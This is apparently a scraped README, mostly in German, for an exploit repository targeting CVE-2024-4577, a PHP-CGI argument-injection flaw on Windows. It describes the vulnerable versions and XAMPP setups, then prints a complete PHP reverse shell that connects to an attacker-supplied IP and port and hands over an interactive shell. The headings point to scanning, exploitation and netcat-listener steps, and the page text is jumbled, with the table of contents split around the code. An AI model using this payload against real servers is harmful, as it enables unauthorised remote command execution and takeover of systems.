PHP CVE-2024-4577-RCE-ATTACK-ATTACK

📜 Description

In PHP-Versionen 8.1.* vor 8.1.29, 8.2.* vor 8.2.20, 8.3.* vor 8.3.8, kann Windows bei Verwendung von Apache und PHP-CGI unter Windows, wenn das System für die Verwendung bestimmter Codepages konfiguriert ist, das Verhalten der "Best-Fit"-Ersetzung verwenden, um Zeichen in der Befehlszeile zu ersetzen, die an Win32-API-Funktionen übergeben werden. Das PHP-CGI-Modul kann diese Zeichen fälschlicherweise als PHP-Optionen interpretieren, was einem böswilligen Benutzer ermöglichen kann, Optionen an die laufende PHP-Binärdatei zu übergeben und dadurch den Quellcode von Skripten offenzulegen, beliebigen PHP-Code auf dem Server auszuführen usw.

"XAMPP ist in der Standardkonfiguration verwundbar, und wir können den Endpunkt /php-cgi/php-cgi.exe anvisieren. Um einen expliziten .php-Endpunkt (z. B. /index.php) anzugreifen, muss der Server so konfiguriert sein, dass PHP-Skripte im CGI-Modus ausgeführt werden."

📚 Table of Contents

📜 Description
🛠️

# rev_shell.php <?php // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck. set_time_limit (0); $VERSION = "1.0"; $ip = 'xxxxxxxxxxx'; // CHANGE THIS $port = 9999; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; // // Daemonise ourself if possible to avoid zombies later // // pcntl_fork is hardly ever available, but will allow us to daemonise // our php process and avoid zombies. Worth a try... if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } // Change to a safe directory chdir("/"); // Remove any umask we inherited umask(0); // // Do the reverse shell... // // Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } // Spawn shell process $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } // Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); // Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { if (!$daemon) { print "$string\n"; } } ?>

CVE-2024-4577-RCE-ATTACK

Beliebteste

🛠️ Installation

⚙️ Usage

🤖 Einrichtung einer Reverse Shell

PHP Payload

🖥️ Scanning server

🎯 Ausnutzen eines verwundbaren Servers

👨🏻‍💻 Netcat Listener

🔍 Erkennen verwundbarer Server

💁 Referenzen

⚠️ Haftungsausschluss